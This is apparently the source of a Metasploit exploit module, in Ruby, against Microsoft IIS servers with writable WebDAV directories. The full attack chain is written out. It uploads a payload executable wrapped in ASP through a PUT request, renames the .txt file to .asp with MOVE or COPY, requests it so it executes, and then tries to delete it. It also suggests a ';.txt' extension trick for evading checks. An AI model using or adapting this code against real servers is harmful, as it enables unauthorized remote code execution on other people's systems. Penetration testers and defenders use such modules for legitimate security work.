Path: blob/master/modules/exploits/windows/iis/iis_webdav_upload_asp.rb
19591 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ExcellentRanking78include Msf::Exploit::Remote::HttpClient9include Msf::Exploit::EXE1011def initialize12super(13'Name' => 'Microsoft IIS WebDAV Write Access Code Execution',14'Description' => %q{15This module can be used to execute a payload on IIS servers that16have world-writeable directories. The payload is uploaded as an ASP17script via a WebDAV PUT request.1819The target IIS machine must meet these conditions to be considered20as exploitable: It allows 'Script resource access', Read and Write21permission, and supports ASP.22},23'Author' => 'hdm',24'Platform' => 'win',25'References' => [26['OSVDB', '397'],27['BID', '12141']28],29'Targets' => [30[ 'Automatic', {} ],31],32'DefaultTarget' => 0,33'DisclosureDate' => 'Dec 31 2004'34)3536register_options(37[38# The USERNAME and PASSWORD are registered again to make them more obvious they're39# configurable.40OptString.new('HttpUsername',41[false, 'The HTTP username to specify for authentication', '']),42OptString.new('HttpPassword',43[false, 'The HTTP password to specify for authentication', '']),44OptString.new('PATH',45[ true, 'The path to attempt to upload', '/metasploit%RAND%.asp']),46OptEnum.new('METHOD',47[ true, 'Move or copy the file on the remote system from .txt -> .asp', 'move', ['move', 'copy']])48]49)50end5152def exploit53# Generate the ASP containing the EXE containing the payload54exe = generate_payload_exe55asp = Msf::Util::EXE.to_exe_asp(exe)56path = datastore['PATH'].gsub('%RAND%', rand(0x10000000).to_s)57path = "/" + path if path[0] != "/"58# Incase of "/path/to/filename.asp;.txt"59path_tmp = "/" + File.basename(path.gsub(/\;.*/, ''), ".*") + ".txt"60path_tmp = File.dirname(path) + path_tmp if File.dirname(path) != "/"61action = datastore['METHOD'].downcase.gsub('e', '') + "ing"62alt_method = "move"63alt_method = "copy" if datastore['METHOD'].upcase == "MOVE"6465#66# CHECK67#68print_status("Checking #{path}")69res = send_request_cgi({70'uri' => path,71'method' => 'GET',72}, 20)7374unless res75print_error("Connection timed out while trying to checking #{path}")76return77end7879if (res.code == 200)80print_error("File #{path} already exists on the target")81return82end8384#85# UPLOAD86#87print_status("Uploading #{asp.length} bytes to #{path_tmp}...")8889begin90res = send_request_cgi({91'uri' => path_tmp,92'method' => 'PUT',93'ctype' => 'application/octet-stream',94'data' => asp,95}, 20)96rescue Errno::ECONNRESET => e97print_error("#{e.message}. It's possible either you set the PATH option wrong, or IIS doesn't allow 'Write' permission.")98return99end100101unless res102print_error("Connection timed out while uploading to #{path_tmp}")103return104end105106if (res.code < 200 or res.code >= 300)107print_error("Upload failed on #{path_tmp} [#{res.code} #{res.message}]")108return109end110111#112# MOVE/COPY113#114if (path_tmp == path)115print_warning("Same filename for PATH and PATH_TEMP detected (#{path_tmp})")116print_warning("Do not end PATH with '.txt'")117else118print_status("#{action.capitalize} #{path_tmp} to #{path}...")119120res = send_request_cgi({121'uri' => path_tmp,122'method' => datastore['METHOD'].upcase,123'headers' => { 'Destination' => path }124}, 20)125126unless res127print_error("Connection timed out while moving to #{path}")128return129end130131if (res.code < 200 or res.code >= 300)132print_error("#{datastore['METHOD'].capitalize} failed on #{path_tmp} [#{res.code} #{res.message}]")133case res.code134when 403135print_error("IIS possibly does not allow 'READ' permission, which is required to upload executable content.")136end137return138elsif (res.code == 207)139print_warning("#{datastore['METHOD'].capitalize} may have failed. [#{res.code} Response]")140print_warning("Try using 'set METHOD #{alt_method}' instead")141end142end143144#145# EXECUTE146#147print_status("Executing #{path}...")148149res = send_request_cgi({150'uri' => path,151'method' => 'GET'152}, 20)153154unless res155print_error("Execution failed on #{path} [No Response]")156return157end158159if (res.code < 200 or res.code >= 300)160print_error("Execution failed on #{path} [#{res.code} #{res.message}]")161case res.message162when 'Not Found', 'Object Not Found'163print_error("The #{datastore['METHOD'].upcase} action failed. Possibly IIS doesn't allow 'Script Resource Access'")164print_warning("Try using 'set METHOD #{alt_method}' instead")165vprint_warning("Pro Tip: Try 'set PATH /metasploit%RAND%.asp;.txt' instead") unless path.include? ";"166end167return168end169170#171# DELETE172#173print_status("Deleting #{path} (this doesn't always work)...")174175res = send_request_cgi({176'uri' => path,177'method' => 'DELETE'178}, 20)179180unless res181print_error("Deletion failed on #{path} [No Response]")182return183end184185if (res.code < 200 or res.code >= 300)186# Changed this to a warning, because red is scary and if this part fails,187# honestly it's not that bad. In most cases this is probably expected anyway188# because by default we're using IWAM_*, which doesn't give us a lot of189# freedom to begin with.190print_warning("Deletion failed on #{path} [#{res.code} #{res.message}]")191return192end193194handler195end196end197198199